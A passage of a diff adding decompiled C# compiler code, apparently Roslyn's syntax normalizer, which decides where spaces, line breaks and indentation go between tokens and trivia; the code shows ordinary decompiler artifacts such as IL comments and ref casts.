IsAccessorListFollowedByInitializer(parent) || isCloseBraceFollowedByCommaOrSemicolon(currentToken, nextToken); + if (!flag2) + { + SyntaxNode parent2 = ((SyntaxToken)(ref nextToken)).Parent; + bool flag3 = ((parent2 is MemberAccessExpressionSyntax || parent2 is BracketedArgumentListSyntax) ? true : false); + flag2 = flag3; + } + if (flag2 || IsInitializerInSingleLineContext(parent)) + { + return 0; + } + if (((parent != null) ? parent.Parent : null) is PropertyDeclarationSyntax property && IsSingleLineProperty(property) && ((SyntaxToken)(ref nextToken)).Parent is PropertyDeclarationSyntax property2 && IsSingleLineProperty(property2)) + { + return 1; + } + SyntaxKind syntaxKind = nextToken.Kind(); + switch (syntaxKind) + { + case SyntaxKind.CloseBraceToken: + case SyntaxKind.ElseKeyword: + case SyntaxKind.CatchKeyword: + case SyntaxKind.FinallyKeyword: + case SyntaxKind.EndOfFileToken: + return 1; + default: + if (syntaxKind == SyntaxKind.WhileKeyword && ((SyntaxToken)(ref nextToken)).Parent.IsKind(SyntaxKind.DoStatement)) + { + return 1; + } + return 2; + } + static bool isCloseBraceFollowedByCommaOrSemicolon(SyntaxToken token, SyntaxToken token2) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + bool flag4 = token.IsKind(SyntaxKind.CloseBraceToken); + if (flag4) + { + SyntaxKind syntaxKind2 = token2.Kind(); + bool flag5 = ((syntaxKind2 == SyntaxKind.SemicolonToken || syntaxKind2 == SyntaxKind.CommaToken) ? true : false); + flag4 = flag5; + } + return flag4; + } + } + + private static int LineBreaksAfterSemicolon(SyntaxToken currentToken, SyntaxToken nextToken) + { + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + if (((SyntaxToken)(ref currentToken)).Parent.IsKind(SyntaxKind.ForStatement)) + { + return 0; + } + if (nextToken.Kind() == SyntaxKind.CloseBraceToken) + { + return 1; + } + if (((SyntaxToken)(ref currentToken)).Parent.IsKind(SyntaxKind.UsingDirective)) + { + if (!((SyntaxToken)(ref nextToken)).Parent.IsKind(SyntaxKind.UsingDirective)) + { + return 2; + } + return 1; + } + if (((SyntaxToken)(ref currentToken)).Parent.IsKind(SyntaxKind.ExternAliasDirective)) + { + if (!((SyntaxToken)(ref nextToken)).Parent.IsKind(SyntaxKind.ExternAliasDirective)) + { + return 2; + } + return 1; + } + if (((SyntaxToken)(ref currentToken)).Parent is AccessorDeclarationSyntax && IsAccessorListWithoutAccessorsWithBlockBody(((SyntaxToken)(ref currentToken)).Parent.Parent)) + { + return 0; + } + if (((SyntaxToken)(ref currentToken)).Parent is PropertyDeclarationSyntax property) + { + if (IsSingleLineProperty(property) && ((SyntaxToken)(ref nextToken)).Parent is PropertyDeclarationSyntax property2 && IsSingleLineProperty(property2)) + { + return 1; + } + return 2; + } + return 1; + } + + private static bool NeedsSeparatorForPropertyPattern(SyntaxToken token, SyntaxToken next) + { + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + PropertyPatternClauseSyntax propertyPatternClauseSyntax; + if (((SyntaxToken)(ref token)).Parent.IsKind(SyntaxKind.PropertyPatternClause)) + { + propertyPatternClauseSyntax = (PropertyPatternClauseSyntax)(object)((SyntaxToken)(ref token)).Parent; + } + else + { + if (!((SyntaxToken)(ref next)).Parent.IsKind(SyntaxKind.PropertyPatternClause)) + { + return false; + } + propertyPatternClauseSyntax = (PropertyPatternClauseSyntax)(object)((SyntaxToken)(ref next)).Parent; + } + bool num = token.IsKind(SyntaxKind.OpenBraceToken); + bool flag = next.IsKind(SyntaxKind.OpenBraceToken); + bool flag2 = token.IsKind(SyntaxKind.CloseBraceToken); + bool flag3 = next.IsKind(SyntaxKind.CloseBraceToken); + if (num) + { + return true; + } + if (flag3) + { + return true; + } + if (propertyPatternClauseSyntax.Parent is RecursivePatternSyntax recursivePatternSyntax) + { + if (flag) + { + if (recursivePatternSyntax.Type != null || recursivePatternSyntax.PositionalPatternClause != null) + { + return true; + } + return false; + } + if (flag2) + { + if (recursivePatternSyntax.Designation == null) + { + return false; + } + return true; + } + } + return false; + } + + private static bool NeedsSeparatorForPositionalPattern(SyntaxToken token, SyntaxToken next) + { + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_005d: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + PositionalPatternClauseSyntax positionalPatternClauseSyntax; + if (((SyntaxToken)(ref token)).Parent.IsKind(SyntaxKind.PositionalPatternClause)) + { + positionalPatternClauseSyntax = (PositionalPatternClauseSyntax)(object)((SyntaxToken)(ref token)).Parent; + } + else + { + if (!((SyntaxToken)(ref next)).Parent.IsKind(SyntaxKind.PositionalPatternClause)) + { + return false; + } + positionalPatternClauseSyntax = (PositionalPatternClauseSyntax)(object)((SyntaxToken)(ref next)).Parent; + } + bool num = token.IsKind(SyntaxKind.OpenParenToken); + bool flag = next.IsKind(SyntaxKind.OpenParenToken); + bool flag2 = token.IsKind(SyntaxKind.CloseParenToken); + bool flag3 = next.IsKind(SyntaxKind.CloseParenToken); + if (num) + { + return false; + } + if (flag3) + { + return false; + } + if (positionalPatternClauseSyntax.Parent is RecursivePatternSyntax recursivePatternSyntax) + { + if (flag) + { + if (recursivePatternSyntax.Type != null) + { + return true; + } + return false; + } + if (flag2) + { + if (recursivePatternSyntax.PropertyPatternClause != null) + { + return false; + } + if (recursivePatternSyntax.Designation == null) + { + return false; + } + return true; + } + } + return false; + } + + private static bool NeedsSeparatorForListPattern(SyntaxToken token, SyntaxToken next) + { + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + ListPatternSyntax listPatternSyntax = (((SyntaxToken)(ref token)).Parent as ListPatternSyntax) ?? (((SyntaxToken)(ref next)).Parent as ListPatternSyntax); + if (listPatternSyntax == null) + { + return false; + } + if (next.IsKind(SyntaxKind.OpenBracketToken)) + { + return true; + } + if (token.IsKind(SyntaxKind.OpenBracketToken)) + { + return listPatternSyntax.Designation != null; + } + return false; + } + + private static bool NeedsSeparator(SyntaxToken token, SyntaxToken next) + { + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Unknown result type (might be due to invalid IL or missing references) + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0060: Unknown result type (might be due to invalid IL or missing references) + //IL_006d: Unknown result type (might be due to invalid IL or missing references) + //IL_0095: Unknown result type (might be due to invalid IL or missing references) + //IL_00b0: Unknown result type (might be due to invalid IL or missing references) + //IL_00cb: Unknown result type (might be due to invalid IL or missing references) + //IL_00f5: Unknown result type (might be due to invalid IL or missing references) + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + //IL_0124: Unknown result type (might be due to invalid IL or missing references) + //IL_0165: Unknown result type (might be due to invalid IL or missing references) + //IL_0115: Unknown result type (might be due to invalid IL or missing references) + //IL_0194: Unknown result type (might be due to invalid IL or missing references) + //IL_0172: Unknown result type (might be due to invalid IL or missing references) + //IL_01bd: Unknown result type (might be due to invalid IL or missing references) + //IL_01a1: Unknown result type (might be due to invalid IL or missing references) + //IL_01da: Unknown result type (might be due to invalid IL or missing references) + //IL_01ae: Unknown result type (might be due to invalid IL or missing references) + //IL_025b: Unknown result type (might be due to invalid IL or missing references) + //IL_0292: Unknown result type (might be due to invalid IL or missing references) + //IL_02d5: Unknown result type (might be due to invalid IL or missing references) + //IL_02f1: Unknown result type (might be due to invalid IL or missing references) + //IL_02e2: Unknown result type (might be due to invalid IL or missing references) + //IL_0320: Unknown result type (might be due to invalid IL or missing references) + //IL_02fe: Unknown result type (might be due to invalid IL or missing references) + //IL_032d: Unknown result type (might be due to invalid IL or missing references) + //IL_034f: Unknown result type (might be due to invalid IL or missing references) + //IL_0371: Unknown result type (might be due to invalid IL or missing references) + //IL_03a6: Unknown result type (might be due to invalid IL or missing references) + //IL_0410: Unknown result type (might be due to invalid IL or missing references) + //IL_03c2: Unknown result type (might be due to invalid IL or missing references) + //IL_03b3: Unknown result type (might be due to invalid IL or missing references) + //IL_041d: Unknown result type (might be due to invalid IL or missing references) + //IL_04f9: Unknown result type (might be due to invalid IL or missing references) + //IL_047b: Unknown result type (might be due to invalid IL or missing references) + //IL_03e2: Unknown result type (might be due to invalid IL or missing references) + //IL_051b: Unknown result type (might be due to invalid IL or missing references) + //IL_04b0: Unknown result type (might be due to invalid IL or missing references) + //IL_053d: Unknown result type (might be due to invalid IL or missing references) + //IL_04db: Unknown result type (might be due to invalid IL or missing references) + //IL_04bd: Unknown result type (might be due to invalid IL or missing references) + //IL_054a: Unknown result type (might be due to invalid IL or missing references) + //IL_04ea: Unknown result type (might be due to invalid IL or missing references) + //IL_04cc: Unknown result type (might be due to invalid IL or missing references) + //IL_0559: Unknown result type (might be due to invalid IL or missing references) + //IL_0575: Unknown result type (might be due to invalid IL or missing references) + //IL_0566: Unknown result type (might be due to invalid IL or missing references) + //IL_0592: Unknown result type (might be due to invalid IL or missing references) + //IL_05ad: Unknown result type (might be due to invalid IL or missing references) + //IL_06c4: Unknown result type (might be due to invalid IL or missing references) + //IL_078e: Unknown result type (might be due to invalid IL or missing references) + //IL_06d4: Unknown result type (might be due to invalid IL or missing references) + //IL_079b: Unknown result type (might be due to invalid IL or missing references) + //IL_06e4: Unknown result type (might be due to invalid IL or missing references) + //IL_0604: Unknown result type (might be due to invalid IL or missing references) + //IL_06f4: Unknown result type (might be due to invalid IL or missing references) + //IL_06b5: Unknown result type (might be due to invalid IL or missing references) + //IL_06ba: Unknown result type (might be due to invalid IL or missing references) + //IL_07fb: Unknown result type (might be due to invalid IL or missing references) + //IL_0704: Unknown result type (might be due to invalid IL or missing references) + //IL_080e: Unknown result type (might be due to invalid IL or missing references) + //IL_0711: Unknown result type (might be due to invalid IL or missing references) + //IL_0637: Unknown result type (might be due to invalid IL or missing references) + //IL_0821: Unknown result type (might be due to invalid IL or missing references) + //IL_0822: Unknown result type (might be due to invalid IL or missing references) + //IL_071e: Unknown result type (might be due to invalid IL or missing references) + //IL_082c: Unknown result type (might be due to invalid IL or missing references) + //IL_082d: Unknown result type (might be due to invalid IL or missing references) + //IL_074b: Unknown result type (might be due to invalid IL or missing references) + //IL_072b: Unknown result type (might be due to invalid IL or missing references) + //IL_0837: Unknown result type (might be due to invalid IL or missing references) + //IL_0838: Unknown result type (might be due to invalid IL or missing references) + //IL_0758: Unknown result type (might be due to invalid IL or missing references) + //IL_066a: Unknown result type (might be due to invalid IL or missing references) + //IL_0765: Unknown result type (might be due to invalid IL or missing references) + //IL_0772: Unknown result type (might be due to invalid IL or missing references) + //IL_077f: Unknown result type (might be due to invalid IL or missing references) + if (((SyntaxToken)(ref token)).Parent == null || ((SyntaxToken)(ref next)).Parent == null) + { + return false; + } + if (IsAccessorListWithoutAccessorsWithBlockBody(((SyntaxToken)(ref next)).Parent) || IsAccessorListWithoutAccessorsWithBlockBody(((SyntaxToken)(ref next)).Parent.Parent)) + { + return !next.IsKind(SyntaxKind.SemicolonToken); + } + if (IsXmlTextToken(token.Kind()) || IsXmlTextToken(next.Kind())) + { + return false; + } + if (next.Kind() == SyntaxKind.EndOfDirectiveToken) + { + if (IsKeyword(token.Kind())) + { + return ((SyntaxToken)(ref next)).LeadingWidth > 0; + } + return false; + } + if ((((SyntaxToken)(ref token)).Parent is AssignmentExpressionSyntax && AssignmentTokenNeedsSeparator(token.Kind())) || (((SyntaxToken)(ref next)).Parent is AssignmentExpressionSyntax && AssignmentTokenNeedsSeparator(next.Kind())) || (((SyntaxToken)(ref token)).Parent is BinaryExpressionSyntax && BinaryTokenNeedsSeparator(token.Kind())) || (((SyntaxToken)(ref next)).Parent is BinaryExpressionSyntax && BinaryTokenNeedsSeparator(next.Kind()))) + { + return true; + } + if (token.IsKind(SyntaxKind.GreaterThanToken) && ((SyntaxToken)(ref token)).Parent.IsKind(SyntaxKind.TypeArgumentList) && !SyntaxFacts.IsPunctuation(next.Kind())) + { + return true; + } + if (token.IsKind(SyntaxKind.GreaterThanToken) && ((SyntaxToken)(ref token)).Parent.IsKind(SyntaxKind.FunctionPointerParameterList)) + { + SyntaxNode parent = ((SyntaxToken)(ref token)).Parent.Parent; + if (!(((parent != null) ? parent.Parent : null) is UsingDirectiveSyntax)) + { + return true; + } + } + if (token.IsKind(SyntaxKind.CommaToken) && !next.IsKind(SyntaxKind.CommaToken) && !((SyntaxToken)(ref token)).Parent.IsKind(SyntaxKind.EnumDeclaration)) + { + return true; + } + if (token.Kind() == SyntaxKind.SemicolonToken && next.Kind() != SyntaxKind.SemicolonToken && next.Kind() != SyntaxKind.CloseParenToken) + { + return true; + } + if (next.IsKind(SyntaxKind.SwitchKeyword) && ((SyntaxToken)(ref next)).Parent is SwitchExpressionSyntax) + { + return true; + } + if (token.IsKind(SyntaxKind.QuestionToken) && (((SyntaxToken)(ref token)).Parent.IsKind(SyntaxKind.ConditionalExpression) || ((SyntaxToken)(ref token)).Parent is TypeSyntax)) + { + bool flag; + switch (((SyntaxToken)(ref token)).Parent.Parent?.Kind()) + { + default: + flag = true; + break; + case SyntaxKind.TypeArgumentList: + case SyntaxKind.UsingDirective: + flag = false; + break; + } + if (flag) + { + return true; + } + } + if (token.IsKind(SyntaxKind.ColonToken)) + { + if (!((SyntaxToken)(ref token)).Parent.IsKind(SyntaxKind.InterpolationFormatClause)) + { + return !((SyntaxToken)(ref token)).Parent.IsKind(SyntaxKind.XmlPrefix); + } + return false; + } + if (next.IsKind(SyntaxKind.ColonToken) && (((SyntaxToken)(ref next)).Parent.IsKind(SyntaxKind.BaseList) || ((SyntaxToken)(ref next)).Parent.IsKind(SyntaxKind.TypeParameterConstraintClause) || ((SyntaxToken)(ref next)).Parent is ConstructorInitializerSyntax)) + { + return true; + } + if (token.IsKind(SyntaxKind.CloseBracketToken) && IsWord(next.Kind())) + { + return true; + } + if (token.IsKind(SyntaxKind.CloseParenToken) && IsWord(next.Kind()) && ((SyntaxToken)(ref token)).Parent.IsKind(SyntaxKind.TupleType)) + { + return true; + } + if ((next.IsKind(SyntaxKind.QuestionToken) || next.IsKind(SyntaxKind.ColonToken)) && ((SyntaxToken)(ref next)).Parent.IsKind(SyntaxKind.ConditionalExpression)) + { + return true; + } + if (token.IsKind(SyntaxKind.EqualsToken)) + { + return !((SyntaxToken)(ref token)).Parent.IsKind(SyntaxKind.XmlTextAttribute); + } + if (next.IsKind(SyntaxKind.EqualsToken)) + { + return !((SyntaxToken)(ref next)).Parent.IsKind(SyntaxKind.XmlTextAttribute); + } + SyntaxKind syntaxKind; + if (((SyntaxToken)(ref token)).Parent.IsKind(SyntaxKind.FunctionPointerType)) + { + if (next.IsKind(SyntaxKind.AsteriskToken) && token.IsKind(SyntaxKind.DelegateKeyword)) + { + return false; + } + if (token.IsKind(SyntaxKind.AsteriskToken) && ((SyntaxToken)(ref next)).Parent.IsKind(SyntaxKind.FunctionPointerCallingConvention)) + { + syntaxKind = next.Kind(); + if (syntaxKind - 8445 <= SyntaxKind.List || syntaxKind == SyntaxKind.IdentifierToken) + { + return true; + } + } + } + if (((SyntaxToken)(ref next)).Parent.IsKind(SyntaxKind.FunctionPointerParameterList) && next.IsKind(SyntaxKind.LessThanToken)) + { + syntaxKind = token.Kind(); + if (syntaxKind == SyntaxKind.AsteriskToken) + { + goto IL_0453; + } + if (syntaxKind != SyntaxKind.CloseBracketToken) + { + if (syntaxKind - 8445 <= SyntaxKind.List) + { + goto IL_0453; + } + } + else if (((SyntaxToken)(ref token)).Parent.IsKind(SyntaxKind.FunctionPointerUnmanagedCallingConventionList)) + { + goto IL_0453; + } + } + if (((SyntaxToken)(ref token)).Parent.IsKind(SyntaxKind.FunctionPointerCallingConvention) && ((SyntaxToken)(ref next)).Parent.IsKind(SyntaxKind.FunctionPointerUnmanagedCallingConventionList) && next.IsKind(SyntaxKind.OpenBracketToken)) + { + return false; + } + if (((SyntaxToken)(ref next)).Parent.IsKind(SyntaxKind.FunctionPointerUnmanagedCallingConventionList) && ((SyntaxToken)(ref token)).Parent.IsKind(SyntaxKind.FunctionPointerUnmanagedCallingConventionList)) + { + if (next.IsKind(SyntaxKind.IdentifierToken)) + { + if (token.IsKind(SyntaxKind.OpenBracketToken)) + { + return false; + } + if (token.IsKind(SyntaxKind.CommaToken)) + { + return true; + } + } + if (next.IsKind(SyntaxKind.CommaToken)) + { + return false; + } + if (next.IsKind(SyntaxKind.CloseBracketToken)) + { + return false; + } + } + if (token.IsKind(SyntaxKind.LessThanToken) && ((SyntaxToken)(ref token)).Parent.IsKind(SyntaxKind.FunctionPointerParameterList)) + { + return false; + } + if (next.IsKind(SyntaxKind.GreaterThanToken) && ((SyntaxToken)(ref next)).Parent.IsKind(SyntaxKind.FunctionPointerParameterList)) + { + return false; + } + if (token.IsKind(SyntaxKind.EqualsGreaterThanToken) || next.IsKind(SyntaxKind.EqualsGreaterThanToken)) + { + return true; + } + if (SyntaxFacts.IsLiteral(token.Kind()) && SyntaxFacts.IsLiteral(next.Kind())) + { + return true; + } + if (next.IsKind(SyntaxKind.AsteriskToken) && ((SyntaxToken)(ref next)).Parent is PointerTypeSyntax) + { + return false; + } + if (token.IsKind(SyntaxKind.AsteriskToken) && ((SyntaxToken)(ref token)).Parent is PointerTypeSyntax && (next.IsKind(SyntaxKind.IdentifierToken) || ((SyntaxToken)(ref next)).Parent.IsKind(SyntaxKind.IndexerDeclaration))) + { + return true; + } + if (IsSingleLineInitializerContext(((SyntaxToken)(ref token)).Parent)) + { + SyntaxNode parent2 = ((SyntaxToken)(ref next)).Parent; + bool flag = ((parent2 is InitializerExpressionSyntax || parent2 is AnonymousObjectCreationExpressionSyntax) ? true : false); + if (flag && next.IsKind(SyntaxKind.OpenBraceToken)) + { + return true; + } + parent2 = ((SyntaxToken)(ref token)).Parent; + flag = ((parent2 is InitializerExpressionSyntax || parent2 is AnonymousObjectCreationExpressionSyntax) ? true : false); + if (flag && token.IsKind(SyntaxKind.OpenBraceToken)) + { + return true; + } + parent2 = ((SyntaxToken)(ref next)).Parent; + flag = ((parent2 is InitializerExpressionSyntax || parent2 is AnonymousObjectCreationExpressionSyntax) ? true : false); + if (flag && next.IsKind(SyntaxKind.CloseBraceToken)) + { + return true; + } + } + if (((SyntaxToken)(ref next)).RawKind == 8200) + { + SyntaxNode parent2 = ((SyntaxToken)(ref next)).Parent; + if (parent2 != null && parent2.Parent is ParenthesizedLambdaExpressionSyntax parenthesizedLambdaExpressionSyntax) + { + TypeSyntax? returnType = parenthesizedLambdaExpressionSyntax.ReturnType; + if (returnType != null && returnType.GetLastToken() == token) + { + return true; + } + } + } + if (IsKeyword(token.Kind()) && !next.IsKind(SyntaxKind.ColonToken) && !next.IsKind(SyntaxKind.DotToken) && !next.IsKind(SyntaxKind.QuestionToken) && !next.IsKind(SyntaxKind.SemicolonToken) && !next.IsKind(SyntaxKind.OpenBracketToken) && (!next.IsKind(SyntaxKind.OpenParenToken) || KeywordNeedsSeparatorBeforeOpenParen(token.Kind()) || ((SyntaxToken)(ref next)).Parent.IsKind(SyntaxKind.TupleType)) && !next.IsKind(SyntaxKind.CloseParenToken) && !next.IsKind(SyntaxKind.CloseBraceToken) && !next.IsKind(SyntaxKind.ColonColonToken) && !next.IsKind(SyntaxKind.GreaterThanToken) && !next.IsKind(SyntaxKind.CommaToken)) + { + return true; + } + if (IsWord(token.Kind()) && IsWord(next.Kind())) + { + return true; + } + if (((SyntaxToken)(ref token)).Width > 1 && ((SyntaxToken)(ref next)).Width > 1) + { + char c = StringExtensions.Last(((SyntaxToken)(ref token)).Text); + char c2 = StringExtensions.First(((SyntaxToken)(ref next)).Text); + if (c == c2 && TokenCharacterCanBeDoubled(c)) + { + return true; + } + } + if (((SyntaxToken)(ref token)).Parent is RelationalPatternSyntax) + { + return true; + } + syntaxKind = next.Kind(); + if (syntaxKind - 8438 <= SyntaxKind.List) + { + return true; + } + syntaxKind = token.Kind(); + if (syntaxKind - 8438 <= (SyntaxKind)2) + { + return true; + } + if (NeedsSeparatorForPropertyPattern(token, next)) + { + return true; + } + if (NeedsSeparatorForPositionalPattern(token, next)) + { + return true; + } + if (NeedsSeparatorForListPattern(token, next)) + { + return true; + } + syntaxKind = ((SyntaxToken)(ref token)).Parent.Kind(); + SyntaxKind syntaxKind2 = ((SyntaxToken)(ref next)).Parent.Kind(); + if (syntaxKind != SyntaxKind.LineDirectivePosition) + { + if (syntaxKind == SyntaxKind.LineSpanDirectiveTrivia && syntaxKind2 == SyntaxKind.LineDirectivePosition) + { + goto IL_0881; + } + } + else if (syntaxKind2 == SyntaxKind.LineSpanDirectiveTrivia) + { + goto IL_0881; + } + return false; + IL_0881: + return true; + IL_0453: + return false; + } + + private static bool KeywordNeedsSeparatorBeforeOpenParen(SyntaxKind kind) + { + switch (kind) + { + case SyntaxKind.TypeOfKeyword: + case SyntaxKind.SizeOfKeyword: + case SyntaxKind.DefaultKeyword: + case SyntaxKind.NewKeyword: + case SyntaxKind.ArgListKeyword: + case SyntaxKind.ThisKeyword: + case SyntaxKind.BaseKeyword: + case SyntaxKind.CheckedKeyword: + case SyntaxKind.UncheckedKeyword: + return false; + default: + return true; + } + } + + private static bool IsXmlTextToken(SyntaxKind kind) + { + if (kind - 8513 <= SyntaxKind.List) + { + return true; + } + return false; + } + + private static bool BinaryTokenNeedsSeparator(SyntaxKind kind) + { + if (kind == SyntaxKind.DotToken || kind == SyntaxKind.MinusGreaterThanToken) + { + return false; + } + return SyntaxFacts.GetBinaryExpression(kind) != SyntaxKind.None; + } + + private static bool AssignmentTokenNeedsSeparator(SyntaxKind kind) + { + return SyntaxFacts.GetAssignmentExpression(kind) != SyntaxKind.None; + } + + private SyntaxTriviaList RewriteTrivia(SyntaxTriviaList triviaList, int depth, bool isTrailing, bool indentAfterLineBreak, bool mustHaveSeparator, int lineBreaksAfter) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0021: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_019c: Unknown result type (might be due to invalid IL or missing references) + //IL_020b: Unknown result type (might be due to invalid IL or missing references) + //IL_0058: Unknown result type (might be due to invalid IL or missing references) + //IL_022d: Unknown result type (might be due to invalid IL or missing references) + //IL_0233: Unknown result type (might be due to invalid IL or missing references) + //IL_0235: Unknown result type (might be due to invalid IL or missing references) + //IL_01f2: Unknown result type (might be due to invalid IL or missing references) + //IL_01b5: Unknown result type (might be due to invalid IL or missing references) + //IL_0073: Unknown result type (might be due to invalid IL or missing references) + //IL_0252: Unknown result type (might be due to invalid IL or missing references) + //IL_0257: Unknown result type (might be due to invalid IL or missing references) + //IL_0243: Unknown result type (might be due to invalid IL or missing references) + //IL_0248: Unknown result type (might be due to invalid IL or missing references) + //IL_024d: Unknown result type (might be due to invalid IL or missing references) + //IL_0262: Unknown result type (might be due to invalid IL or missing references) + //IL_0086: Unknown result type (might be due to invalid IL or missing references) + //IL_008b: Unknown result type (might be due to invalid IL or missing references) + //IL_00a4: Unknown result type (might be due to invalid IL or missing references) + //IL_00f4: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + //IL_0128: Unknown result type (might be due to invalid IL or missing references) + //IL_0116: Unknown result type (might be due to invalid IL or missing references) + //IL_0117: Unknown result type (might be due to invalid IL or missing references) + //IL_011c: Unknown result type (might be due to invalid IL or missing references) + //IL_011f: Unknown result type (might be due to invalid IL or missing references) + //IL_00d6: Unknown result type (might be due to invalid IL or missing references) + //IL_00dc: Unknown result type (might be due to invalid IL or missing references) + //IL_0143: Unknown result type (might be due to invalid IL or missing references) + //IL_0136: Unknown result type (might be due to invalid IL or missing references) + //IL_0149: Unknown result type (might be due to invalid IL or missing references) + //IL_0169: Unknown result type (might be due to invalid IL or missing references) + //IL_015b: Unknown result type (might be due to invalid IL or missing references) + ArrayBuilder instance = ArrayBuilder.GetInstance(((SyntaxTriviaList)(ref triviaList)).Count); + try + { + Enumerator enumerator = ((SyntaxTriviaList)(ref triviaList)).GetEnumerator(); + while (((Enumerator)(ref enumerator)).MoveNext()) + { + SyntaxTrivia current = ((Enumerator)(ref enumerator)).Current; + if (current.IsKind(SyntaxKind.WhitespaceTrivia) || current.IsKind(SyntaxKind.EndOfLineTrivia) || ((SyntaxTrivia)(ref current)).FullWidth == 0) + { + continue; + } + bool flag = (instance.Count > 0 && NeedsSeparatorBetween(instance.Last())) || (instance.Count == 0 && isTrailing); + if ((NeedsLineBreakBefore(current, isTrailing) || (instance.Count > 0 && NeedsLineBreakBetween(instance.Last(), current, isTrailing))) && !_afterLineBreak) + { + instance.Add(GetEndOfLine()); + _afterLineBreak = true; + _afterIndentation = false; + } + if (_afterLineBreak) + { + if (!_afterIndentation && NeedsIndentAfterLineBreak(current)) + { + instance.Add(GetIndentation(GetDeclarationDepth(current))); + _afterIndentation = true; + } + } + else if (flag) + { + instance.Add(GetSpace()); + _afterLineBreak = false; + _afterIndentation = false; + } + if (((SyntaxTrivia)(ref current)).HasStructure) + { + SyntaxTrivia val = VisitStructuredTrivia(current); + instance.Add(val); + } + else if (current.IsKind(SyntaxKind.DocumentationCommentExteriorTrivia)) + { + instance.Add(s_trimmedDocCommentExterior); + } + else + { + instance.Add(current); + } + if (NeedsLineBreakAfter(current, isTrailing) && (instance.Count == 0 || !EndsInLineBreak(instance.Last()))) + { + instance.Add(GetEndOfLine()); + _afterLineBreak = true; + _afterIndentation = false; + } + } + if (lineBreaksAfter > 0) + { + if (instance.Count > 0 && EndsInLineBreak(instance.Last())) + { + lineBreaksAfter--; + } + for (int i = 0; i < lineBreaksAfter; i++) + { + instance.Add(GetEndOfLine()); + _afterLineBreak = true; + _afterIndentation = false; + } + } + else if (indentAfterLineBreak && _afterLineBreak && !_afterIndentation) + { + instance.Add(GetIndentation(depth)); + _afterIndentation = true; + } + else if (mustHaveSeparator) + { + instance.Add(GetSpace()); + _afterLineBreak = false; + _afterIndentation = false; + } + if (instance.Count == 0) + { + return default(SyntaxTriviaList); + } + if (instance.Count == 1) + { + return SyntaxFactory.TriviaList(instance.First()); + } + return SyntaxFactory.TriviaList((IEnumerable)instance); + } + finally + { + instance.Free(); + } + } + + private SyntaxTrivia GetSpace() + { + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + //IL_0008: Unknown result type (might be due to invalid IL or missing references) + if (!_useElasticTrivia) + { + return SyntaxFactory.Space; + } + return SyntaxFactory.ElasticSpace; + } + + private SyntaxTrivia GetEndOfLine() + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + return _eolTrivia; + } + + private SyntaxTrivia VisitStructuredTrivia(SyntaxTrivia trivia) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001b: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + //IL_0023: Unknown result type (might be due to invalid IL or missing references) + //IL_0030: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + bool isInStructuredTrivia = _isInStructuredTrivia; + _isInStructuredTrivia = true; + SyntaxToken previousToken = _previousToken; + _previousToken = default(SyntaxToken); + SyntaxTrivia result = VisitTrivia(trivia); + _isInStructuredTrivia = isInStructuredTrivia; + _previousToken = previousToken; + return result; + } + + private static bool NeedsSeparatorBetween(SyntaxTrivia trivia) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind = trivia.Kind(); + if (syntaxKind == SyntaxKind.None || syntaxKind == SyntaxKind.WhitespaceTrivia || syntaxKind == SyntaxKind.DocumentationCommentExteriorTrivia) + { + return false; + } + return !SyntaxFacts.IsPreprocessorDirective(trivia.Kind()); + } + + private static bool NeedsLineBreakBetween(SyntaxTrivia trivia, SyntaxTrivia next, bool isTrailingTrivia) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0009: Unknown result type (might be due to invalid IL or missing references) + if (!NeedsLineBreakAfter(trivia, isTrailingTrivia)) + { + return NeedsLineBreakBefore(next, isTrailingTrivia); + } + return true; + } + + private static bool NeedsLineBreakBefore(SyntaxTrivia trivia, bool isTrailingTrivia) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind = trivia.Kind(); + if (syntaxKind == SyntaxKind.DocumentationCommentExteriorTrivia) + { + return !isTrailingTrivia; + } + return SyntaxFacts.IsPreprocessorDirective(syntaxKind); + } + + private static bool NeedsLineBreakAfter(SyntaxTrivia trivia, bool isTrailingTrivia) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind = trivia.Kind(); + return syntaxKind switch + { + SyntaxKind.SingleLineCommentTrivia => true, + SyntaxKind.MultiLineCommentTrivia => !isTrailingTrivia, + _ => SyntaxFacts.IsPreprocessorDirective(syntaxKind), + }; + } + + private static bool NeedsIndentAfterLineBreak(SyntaxTrivia trivia) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + SyntaxKind syntaxKind = trivia.Kind(); + if (syntaxKind - 8541 <= (SyntaxKind)4) + { + return true; + } + return false; + } + + private static bool IsLineBreak(SyntaxToken token) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + return 